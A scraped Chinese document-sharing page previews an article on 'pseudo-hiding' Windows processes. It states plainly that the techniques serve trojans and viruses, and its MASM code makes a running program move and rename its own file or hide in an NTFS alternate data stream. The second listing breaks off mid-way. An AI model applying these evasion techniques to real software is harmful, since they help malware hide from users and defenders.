- 1、本文档共5页,可阅读全部内容。
- 2、有哪些信誉好的足球投注网站(book118)网站文档一经付费(服务费),不意味着购买了该文档的版权,仅供个人/单位学习、研究之用,不得用于商业用途,未经授权,严禁复制、发行、汇编、翻译或者网络传播等,侵权必究。
- 3、本站所有内容均由合作方或网友上传,本站不对文档的完整性、权威性及其观点立场正确性做任何保证或承诺!文档内容仅供研究参考,付费前请自行鉴别。如您付费,意味着您自己接受本站规则且自行承担风险,本站不退款、不进行额外附加服务;查看《如何避免下载的几个坑》。如果您已付费下载过本站文档,您可以点击 这里二次下载。
- 4、如文档侵犯商业秘密、侵犯著作权、侵犯人身权等,请点击“版权申诉”(推荐),也可以打举报电话:400-050-0827(电话支持时间:9:00-18:30)。
查看更多
浅析进程伪隐藏技术
浅析进程伪隐藏技术
进程隐藏?干吗用?你不知道?我晕!进程隐藏技术多用于木马和病毒中(还用你说?!),用于提高其生存率。其实现方法因win系统架构不同而各异,一些常用方法资料很多,我在这里也就不多说啦! 这里的伪隐藏指的是,虽然在windows任务管理器进程列表中可以看到其进程存在,但在硬盘中却找不到或者说不容易找到其相对应的程序文件。 一:乾坤大挪移 大家都知道,当一个程序正在运行时,win系统是不允许我们把其删除的(所以才会有人寻找程序自删除_blank技术),但却不知大家是否注意到,在win2000中,当一个程序正在运行时,我们虽然不能把它删除,但我们却可以把程序文件在同一分区内移动位置以及重命名,你可以自己试验一下!这也就是windows文件保护所使用的方法!试想,如果我们的程序在运行后,立即把自身移动位置并重命名,而在windows任务管理器进程列表中显示的却还是原来的程序名,那你又该如何来查找到其对应的程序文件呢?当然如果程序在内存中没有进行变形的话,你可以利用内存查看_blank软件(如winhex)并利用查找功能来找到相对应的程序文件,但如果程序在内存中变形 ,也可以说解密,使得内存映像和硬盘中的原程序文件不同,那我是暂时没法找出来啦! 实现_blank代码如下(masm): ;进程隐藏之乾坤大挪移(只能在同分区内移动) .386 .model flat, stdcall option casemap:none include windows.inc include kernel32.inc includelib kernel32.lib include user32.inc includelib user32.lib .data? selfname db max_blank_path dup(?) .data movename db c:\mm.jpg,0 .code main: invoke getmodulefilename,null,addr selfname,max_blank_path ;得到自身路径 mov al, byte ptr selfname ;得到所在分区 mov byte ptr movename,al ;修正movename,使其在同分区内移动 invoke movefile,addr selfname,addr movename ;把自身移动位置并改名 invoke messagebox,null,offset selfname,offset movename,mb_blank_ok invoke exitprocess, null end main 本例程在win2000下调试通过,xp target=_blankxp和win2003应该也可以,请有条件的弟兄测试,win98和winme不能用,与硬盘格式无关! 二:程序自删除(仅适用于ntfs硬盘分区格式) 在ntfs分区下存在文件流早已不是什么秘密啦,但大家主要用它来隐藏文件,我在一次测试中却发现当我运行一个文件流程序时,这个文件流程序所在的宿主文件却是可以被删除的!进一步测试发现文件流程序运行时并无法直接删除这个文件流程序,只能删除宿主文件,从而来删除文件流程序。利用此特性,我们同样可以实现类似于上例的效果,且比其隐藏效果要好点。方法为:判断是否是ntfs格式分区,如果是则把自身复制为一个文件流,并运行复制的文件流,运行时检测到自己是存在于文件流中时就删除宿主文件。 实现_blank代码如下(masm): ;进程隐藏之文件流(只能用于ntfs分区格式) .386 .model flat, stdcall option casemap:none include windows.inc include kernel32.inc includelib kernel32.lib include user32.inc includelib user32.lib .data? selfname db max_blank_path dup(?) szfilesystemname db 10 dup(?) .data delname db `.`:icyfox.exe,0 ;此处的`.`:icyfox.exe可以改为其他文件名如cs.txt:cs.exe ;我这里用`.`的目的是为了防止删除其他存在的文件 szerr db 我不在ntfs格式的分区内,退出!,0 szyes db 我在下面的流内,已被删除!,0 .cod
您可能关注的文档
- 泗洪县第三中学2004年中考模拟考试政治试卷.doc
- 泛影葡胺做子宫输卵管造影的临床分析.doc
- 泛影葡胺在子宫输卵管造影中的应用.doc
- 泛影葡胺在子宫输卵管造影中的诊断价值.doc
- 泛影葡胺子宫输卵管造影1537例临床分析.doc
- 泛影葡胺用于子宫输卵管造影100例分析.doc
- 泛评制度经济学三人谈.doc
- 泡沫塑料富集原子吸收测定矿石中金的含量.pdf
- 波动系数对网络结构的影响.pdf
- 泥渣回流强化混凝沉淀再生水处理工艺条件优化.pdf
- 甘肃省酒泉市金塔县等4地2024-2025学年高一上学期11月期中考试数学试题【含解析】.pdf
- 浙江省宁波市余姚中学2024-2025学年度高二上学期10月月考数学试题【含解析】.docx
- 河南省商开大联考2022-2023学年高一上学期期中考试数学试卷【含解析】.pdf
- 重庆市开州中学2024-2025学年高二上学期第一次月考数学试题【含解析】.docx
- 云南省昆明仁泽中学2024-2025学年度高二上学期10月月考数学试卷【含解析】.docx
- 《环境文本数据加工处理技术规范》.pdf
- 《区域大气环境承载力监测预警技术规范》.pdf
- 《环境空气温室气体光声光谱法连续自动监测仪技术要求及检测方法》.pdf
- 《美丽城市建设数据分级分类规范》.pdf
- 《大数据优化区域空气质量模拟排放输入数据技术规范》.pdf
文档评论(0)